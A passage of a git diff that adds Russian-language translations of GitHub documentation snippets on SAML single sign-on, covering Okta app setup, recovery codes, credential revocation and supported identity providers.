+ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065013" +--- +{% ifversion ghec %} {% note %} + +**Примечание.** Чтобы подключить единый вход SAML, ваша организация должна использовать {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/saml/ghes-you-must-configure-saml-sso.md b/translations/ru-RU/data/reusables/saml/ghes-you-must-configure-saml-sso.md new file mode 100644 index 000000000000..96427b490c73 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/ghes-you-must-configure-saml-sso.md @@ -0,0 +1 @@ +You must configure SAML SSO for {% data variables.location.product_location %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/saml/must-authorize-linked-identity.md b/translations/ru-RU/data/reusables/saml/must-authorize-linked-identity.md new file mode 100644 index 000000000000..5854c09d77b2 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/must-authorize-linked-identity.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** If you have a linked identity for an organization, you can only use authorized {% data variables.product.pat_generic %}s and SSH keys with that organization, even if SAML is not enforced. You have a linked identity for an organization if you've ever authenticated via SAML SSO for that organization, unless an organization or enterprise owner later revoked the linked identity. For more information about revoking linked identities, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)." + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/saml/okta-ae-applications-menu.md b/translations/ru-RU/data/reusables/saml/okta-ae-applications-menu.md new file mode 100644 index 000000000000..e3cfb0884e07 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-ae-applications-menu.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 72af92d804e9246789442d86185e3acf8eaf5ef5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134645" +--- +1. На панели мониторинга Okta разверните меню **Приложения** и выберите пункт **Приложения**. + + ![Навигация меню «Приложения»](/assets/images/help/saml/okta-ae-add-application.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-ae-configure-app.md b/translations/ru-RU/data/reusables/saml/okta-ae-configure-app.md new file mode 100644 index 000000000000..d6d91ba7aa67 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-ae-configure-app.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 52bc39b7edea195e3dd18f8b7c9dacddb3e6486b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134636" +--- +1. Щелкните приложение {% data variables.product.prodname_ghe_managed %}. + + ![Настройка приложения](/assets/images/help/saml/okta-ae-configure-app.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-ae-provisioning-tab.md b/translations/ru-RU/data/reusables/saml/okta-ae-provisioning-tab.md new file mode 100644 index 000000000000..55a78c749699 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-ae-provisioning-tab.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 1dfa55471caa114fb165ea4caa77ce6e747482e4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134633" +--- +1. Нажмите **Подготовка**. + + ![Настройка приложения](/assets/images/help/saml/okta-ae-provisioning-tab.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-ae-sso-beta.md b/translations/ru-RU/data/reusables/saml/okta-ae-sso-beta.md new file mode 100644 index 000000000000..ba37d7a89227 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-ae-sso-beta.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: eef3fbd7285fbea49bf20ed9359b2a7c6c49fff1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109069" +--- +{% ifversion ghae %} + +{% note %} + +**Примечание.** Поддержка единого входа (SSO) для Okta в настоящее время доступна в бета-версии {% data variables.product.prodname_ghe_managed %}. + +{% endnote %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/okta-applications-click-ghec-application-label.md b/translations/ru-RU/data/reusables/saml/okta-applications-click-ghec-application-label.md new file mode 100644 index 000000000000..d05321939a6d --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-applications-click-ghec-application-label.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3d4db33f61c71f065de6325f1f8a5f8798fd0e59 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134630" +--- +1. В списке приложений щелкните метку приложения, созданного для организации, которая использует {% data variables.product.prodname_ghe_cloud %}. diff --git a/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog copy.md b/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog copy.md new file mode 100644 index 000000000000..ea6b70803719 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog copy.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 845b8336fca4592a1d5ba1dc9aec88c71a7a8bfd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109064" +--- +1. Щелкните **Обзор каталога приложений**. + + ![«Обзор каталога приложений»](/assets/images/help/saml/okta-ae-browse-app-catalog.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog.md b/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog.md new file mode 100644 index 000000000000..d29c9da345f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-browse-app-catalog.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 845b8336fca4592a1d5ba1dc9aec88c71a7a8bfd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108913" +--- +1. Щелкните **"Обзор каталога приложений**". + + ![«Обзор каталога приложений»](/assets/images/help/saml/okta-ae-browse-app-catalog.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-click-on-the-app.md b/translations/ru-RU/data/reusables/saml/okta-click-on-the-app.md new file mode 100644 index 000000000000..f32306515581 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-click-on-the-app.md @@ -0,0 +1 @@ +1. Click the {% data variables.product.product_name %} app. diff --git a/translations/ru-RU/data/reusables/saml/okta-configure-api-integration.md b/translations/ru-RU/data/reusables/saml/okta-configure-api-integration.md new file mode 100644 index 000000000000..3eca21c0f996 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-configure-api-integration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 982c1f4dc90a2e593d65bc8f2bb2a6e32ba546c2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134621" +--- +1. Щелкните **Настройка интеграции API**. diff --git a/translations/ru-RU/data/reusables/saml/okta-dashboard-click-applications.md b/translations/ru-RU/data/reusables/saml/okta-dashboard-click-applications.md new file mode 100644 index 000000000000..71ff80dde914 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-dashboard-click-applications.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b1f09885055bfc95b5624940f1d345767ebf0a81 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134612" +--- +1. На левой боковой панели используйте раскрывающийся список **Приложения** и щелкните **Приложения**. diff --git a/translations/ru-RU/data/reusables/saml/okta-edit-provisioning.md b/translations/ru-RU/data/reusables/saml/okta-edit-provisioning.md new file mode 100644 index 000000000000..989a2315c009 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-edit-provisioning.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 0f66875581a4a1b2de98f49a12ad7069be1f9375 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147093049" +--- +1. Чтобы избежать ошибок синхронизации и убедиться, что у пользователей есть связанные с SCIM удостоверения и включена поддержка SAML, рекомендуется проводить аудит пользователей вашей организации. Дополнительные сведения см. в разделе [Устранение неполадок с управлением удостоверениями и доступом для вашей организации](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization). + +1. Справа от элемента "Provisioning to App" (Подготовка для приложения) нажмите кнопку **Изменить**. + + ![Снимок экрана: кнопка "Изменить" для параметров подготовки для приложения Okta](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png) +1. Выберите **Включить** справа от параметров **Create Users** (Создание пользователей), **Update User Attributes** (Обновление атрибутов пользователей) и **Deactivate Users** (Деактивация пользователей). + + ![Снимок экрана: флажки "Включить" для параметров "Create Users" (Создание пользователей), "Update User Attributes" (Обновление атрибутов пользователей) и "Deactivate Users" (Деактивация пользователей)](/assets/images/help/saml/okta-provisioning-enable-options.png) +1. Выберите команду **Сохранить**. diff --git a/translations/ru-RU/data/reusables/saml/okta-enable-api-integration.md b/translations/ru-RU/data/reusables/saml/okta-enable-api-integration.md new file mode 100644 index 000000000000..cf5148d5624e --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-enable-api-integration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 65f884cdf07ece2cb49377bfc09ac4fea9f41582 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134609" +--- +1. Выберите **Включить интеграцию API**. diff --git a/translations/ru-RU/data/reusables/saml/okta-provisioning-tab.md b/translations/ru-RU/data/reusables/saml/okta-provisioning-tab.md new file mode 100644 index 000000000000..51ab7605d7ee --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-provisioning-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 71dd9ba4dd1693e2d3f5cbab23b7a640bf4e1f48 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134900" +--- +1. Под именем приложения щелкните **Подготовка**. + ![Снимок экрана: вкладка "Подготовка" для приложения Okta](/assets/images/help/saml/okta-provisioning-tab.png) diff --git a/translations/ru-RU/data/reusables/saml/okta-save-provisioning.md b/translations/ru-RU/data/reusables/saml/okta-save-provisioning.md new file mode 100644 index 000000000000..359ce90533dc --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-save-provisioning.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1d086698c2b65210481924f1cf3462e61504c0fa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134597" +--- +1. Выберите команду **Сохранить**. diff --git a/translations/ru-RU/data/reusables/saml/okta-sign-into-your-account.md b/translations/ru-RU/data/reusables/saml/okta-sign-into-your-account.md new file mode 100644 index 000000000000..868d6b7ec30b --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-sign-into-your-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e5dabf12ee7b5928216340abe904588413daa069 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134897" +--- +1. Войдите в свою [учетную запись Okta](https://login.okta.com/). diff --git a/translations/ru-RU/data/reusables/saml/okta-sign-on-tab.md b/translations/ru-RU/data/reusables/saml/okta-sign-on-tab.md new file mode 100644 index 000000000000..c689a8a63d25 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-sign-on-tab.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c1c07418ac678e38f387f9be4ebc00153558ae22 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109311" +--- +1. Под именем приложения щелкните **Вход**. + + ![Вкладка "Вход"](/assets/images/help/saml/okta-ae-sign-on-tab.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/okta-view-setup-instructions.md b/translations/ru-RU/data/reusables/saml/okta-view-setup-instructions.md new file mode 100644 index 000000000000..5324f421b9e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/okta-view-setup-instructions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: fef8d78e7518ea1b11d657f0ed82929847cd5575 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108794" +--- +1. В разделе "МЕТОДЫ ВХОДА" щелкните **Просмотреть инструкции по настройке**. + + ![Вкладка "Вход"](/assets/images/help/saml/okta-ae-view-setup-instructions.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/outside-collaborators-exemption.md b/translations/ru-RU/data/reusables/saml/outside-collaborators-exemption.md new file mode 100644 index 000000000000..96f5aa07485c --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/outside-collaborators-exemption.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2756814ec2c08dfce708645cec499588fbad330d +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148111627" +--- +{% note %} + +**Примечание:** Проверка подлинности SAML не требуется для внешних участников совместной работы. Дополнительные сведения о внешних участниках совместной работы см. в разделе [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/saml/recovery-code-access.md b/translations/ru-RU/data/reusables/saml/recovery-code-access.md new file mode 100644 index 000000000000..b88cb3395170 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/recovery-code-access.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 94344f2a86c1220c8046aea759e96e895eeb52a8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134573" +--- +1. В нижней части диалогового окна единого входа щелкните **Use a recovery code** (Использовать код восстановления), чтобы обойти единый вход. + + ![Снимок экрана: ссылка для ввода кода восстановления](/assets/images/help/saml/saml_use_recovery_code.png) + +2. В поле "Код восстановления" введите код восстановления. + + ![Снимок экрана: поле для ввода кода восстановления](/assets/images/help/saml/saml_recovery_code_entry.png) + +3. Нажмите кнопку **Проверка**. + + ![Снимок экрана: кнопка для проверки кода восстановления](/assets/images/help/saml/saml_verify_recovery_codes.png) + +После использования кода восстановления убедитесь, что этот код больше недействителен. Вы не сможете использовать код восстановления повторно. diff --git a/translations/ru-RU/data/reusables/saml/recovery-code-caveats.md b/translations/ru-RU/data/reusables/saml/recovery-code-caveats.md new file mode 100644 index 000000000000..68d61e8eed2a --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/recovery-code-caveats.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0259139af8110f5e19860ea0b78cff797e3b1d7f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134894" +--- +Коды восстановления можно использовать только один раз, и делать это необходимо в последовательном порядке. Коды восстановления предоставляют доступ на 24 часа. diff --git a/translations/ru-RU/data/reusables/saml/removed-users-can-rejoin.md b/translations/ru-RU/data/reusables/saml/removed-users-can-rejoin.md new file mode 100644 index 000000000000..79c7a6446191 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/removed-users-can-rejoin.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4da46ac099f8b1c89082b02d65f645300186785b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134570" +--- +Все пользователи, удаленные из-за принудительного применения единого входа SAML, могут повторно присоединиться к организации, пройдя проверку подлинности с помощью единого входа SAML. diff --git a/translations/ru-RU/data/reusables/saml/resources-without-sso.md b/translations/ru-RU/data/reusables/saml/resources-without-sso.md new file mode 100644 index 000000000000..53763d7e1a29 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/resources-without-sso.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 6801c86b93cfe8a48f1380bcb65e3fc8802e0eae +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148111621" +--- +Проверка подлинности поставщика удостоверений не требуется для доступа к общедоступным репозиториям определенными способами: + +- Просмотр страницы обзора репозитория и содержимого файлов в {% data variables.product.prodname_dotcom %} +- Вилка репозитория +- Выполнение операций чтения с помощью Git, таких как клонирование репозитория + +Проверка подлинности необходима для другого доступа к общедоступным репозиториям, например для просмотра проблем, запросов на вытягивание, проектов и выпусков. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/revoke-authorized-credentials.md b/translations/ru-RU/data/reusables/saml/revoke-authorized-credentials.md new file mode 100644 index 000000000000..2dfd5f6200e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/revoke-authorized-credentials.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8465fcf359731441f78d8f0c5f035e0823a8f15b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134891" +--- +1. Чтобы отменить учетные данные, справа от учетных данных, которые нужно отменить, нажмите кнопку **Отменить**. + ![Кнопка "Отменить"](/assets/images/help/saml/revoke-credentials.png) diff --git a/translations/ru-RU/data/reusables/saml/revoke-saml-session.md b/translations/ru-RU/data/reusables/saml/revoke-saml-session.md new file mode 100644 index 000000000000..87ca3eb2d37e --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/revoke-saml-session.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c39b810ec272be5bdbb2b4a215cbfe25dcb2bc18 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881246" +--- +1. Чтобы отменить сеанс, нажмите кнопку **Отменить** справа от него. + ![Кнопка "Отменить"](/assets/images/help/saml/revoke-session.png) diff --git a/translations/ru-RU/data/reusables/saml/revoke-sso-identity.md b/translations/ru-RU/data/reusables/saml/revoke-sso-identity.md new file mode 100644 index 000000000000..72c619e41615 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/revoke-sso-identity.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0e538c1d90d4f75ba895f9a24bec7e8ad36b317b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134888" +--- +1. Чтобы отменить связанное удостоверение, нажмите кнопку **Отменить** справа от удостоверения. + ![Кнопка "Отменить"](/assets/images/help/saml/revoke-identity.png) diff --git a/translations/ru-RU/data/reusables/saml/saml-accounts.md b/translations/ru-RU/data/reusables/saml/saml-accounts.md new file mode 100644 index 000000000000..f1a4e45b767e --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-accounts.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 7f8e979109d851c152b9cb2b90569ea12155b2dd +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148111524" +--- +Если вы настроили единый вход SAML, участники вашей организации продолжат входить в свои личные учетные записи в {% data variables.product.prodname_dotcom_the_website %}. Когда участник обращается к большинству ресурсов в организации, {% data variables.product.prodname_dotcom %} перенаправляет участника к поставщику удостоверений для проверки подлинности. После успешной аутентификации поставщик удостоверений перенаправляет участника обратно на {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения о проверке подлинности с помощью единого входа SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on). + +{% note %} + +**Примечание.** Единый вход с помощью SAML не заменяет обычный процесс входа для {% data variables.product.prodname_dotcom %}. Если вы не используете {% data variables.product.prodname_emus %}, участники продолжат выполнять вход в свои личные учетные записи в {% data variables.product.prodname_dotcom_the_website %}, и каждая личная учетная запись будет связана с внешним удостоверением в поставщике удостоверений. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/saml/saml-disabled-linked-identities-removed.md b/translations/ru-RU/data/reusables/saml/saml-disabled-linked-identities-removed.md new file mode 100644 index 000000000000..194108e12ea1 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-disabled-linked-identities-removed.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 942da167a47504ffadb17e32293834fa5cc64cb3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134885" +--- +Если единый вход SAML отключен, все связанные внешние удостоверения удаляются из {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/saml/saml-ghes-account-revocation.md b/translations/ru-RU/data/reusables/saml/saml-ghes-account-revocation.md new file mode 100644 index 000000000000..fd9ea0f69fe2 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-ghes-account-revocation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d08df6f87611aec73985fd0ecd279b67079e2a1f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067381" +--- +{% ifversion ghes %} + +При удалении пользователя из поставщика удостоверений необходимо также вручную приостановить их. В противном случае владелец учетной записи может продолжать выполнять проверку подлинности с помощью маркеров доступа или ключей SSH. Дополнительные сведения см. в разделе [Блокировка и разблокировка пользователей](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users). + +{% endif %} diff --git a/translations/ru-RU/data/reusables/saml/saml-identity-linked.md b/translations/ru-RU/data/reusables/saml/saml-identity-linked.md new file mode 100644 index 000000000000..32e39c091399 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-identity-linked.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c190818ec976ae835d5e4ad01acc09f954bdc5dd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134882" +--- +1. На левой боковой панели щелкните **SAML identity linked** (Удостоверение SAML связано). + ![SAML identity linked (Удостоверение SAML связано)](/assets/images/help/saml/saml-identity-linked.png) diff --git a/translations/ru-RU/data/reusables/saml/saml-requires-ghec.md b/translations/ru-RU/data/reusables/saml/saml-requires-ghec.md new file mode 100644 index 000000000000..159a0d059fb9 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-requires-ghec.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5fb16b2e2df159c972bac2091ae2b1cb47afc11a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134549" +--- +Для единого входа SAML требуется {% data variables.product.prodname_ghe_cloud %}. diff --git a/translations/ru-RU/data/reusables/saml/saml-session-oauth.md b/translations/ru-RU/data/reusables/saml/saml-session-oauth.md new file mode 100644 index 000000000000..fcae67cb97b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-session-oauth.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d6558389cb7f14f3c0a626e99aaa4e9ac45ff0a1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882258" +--- +Если вы относитесь к любым организациям, применяющим единый вход SAML, вам может быть предложено пройти проверку подлинности через поставщика удостоверений, прежде чем вы сможете авторизовать {% data variables.product.prodname_oauth_app %}. Дополнительные сведения о SAML см. в разделе [Сведения о проверке подлинности с помощью единого входа SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %} diff --git a/translations/ru-RU/data/reusables/saml/saml-single-logout-not-supported.md b/translations/ru-RU/data/reusables/saml/saml-single-logout-not-supported.md new file mode 100644 index 000000000000..8070f40d19ca --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-single-logout-not-supported.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0b0189cf01844ba2674adb92a993c9f3d4bd388b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134546" +--- +{% data variables.product.product_name %} не поддерживает единый выход SAML. Чтобы завершить активный сеанс SAML, пользователи должны выполнить выход непосредственно в поставщике удостоверений SAML. diff --git a/translations/ru-RU/data/reusables/saml/saml-supported-idps.md b/translations/ru-RU/data/reusables/saml/saml-supported-idps.md new file mode 100644 index 000000000000..956550cefd8a --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/saml-supported-idps.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 30657af068d61df41410e2b11f9d89172891e748 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134876" +--- +{% data variables.product.product_name %} поддерживает единый вход SAML с использованием поставщиков удостоверений, реализующих стандарт SAML 2.0. Дополнительные сведения см. на [вики-странице по SAML](https://wiki.oasis-open.org/security) на веб-сайте OASIS. + +{% data variables.product.company_short %} обеспечивает официальную поддержку и внутреннее тестирование для указанных ниже поставщиков удостоверений. + +{% ifversion fpt or ghec or ghes %} +- Службы федерации Active Directory (AD FS) +- Azure Active Directory (Azure AD) +- Okta +- OneLogin +- PingOne +- Shibboleth {% elsif ghae %} +- Azure Active Directory (Azure AD) +- Okta (бета-версия) {% endif %} diff --git a/translations/ru-RU/data/reusables/saml/switching-from-org-to-enterprise.md b/translations/ru-RU/data/reusables/saml/switching-from-org-to-enterprise.md new file mode 100644 index 000000000000..17b81cafe32f --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/switching-from-org-to-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eb58d3cc072db06c4ae639f514399111273d954e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134534" +--- +Если при включении единого входа SAML для вашей корпоративной учетной записи у какой-либо из принадлежащих ей организаций уже настроено использование единого входа SAML, следует принять во внимание особые требования. diff --git a/translations/ru-RU/data/reusables/saml/testing-saml-sso.md b/translations/ru-RU/data/reusables/saml/testing-saml-sso.md new file mode 100644 index 000000000000..ff91006b4607 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/testing-saml-sso.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ff7fb9ccb9b3e9de365b1818347c75d997ab8cc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881101" +--- +При настройке единого входа SAML в организации можно протестировать свою реализацию, не затрагивая участников организации, для этого нужно оставить флажок **Require SAML SSO authentication for all members of the _название организации_ organization** (Требовать проверку подлинности единого входа SAML для всех участников организации "название 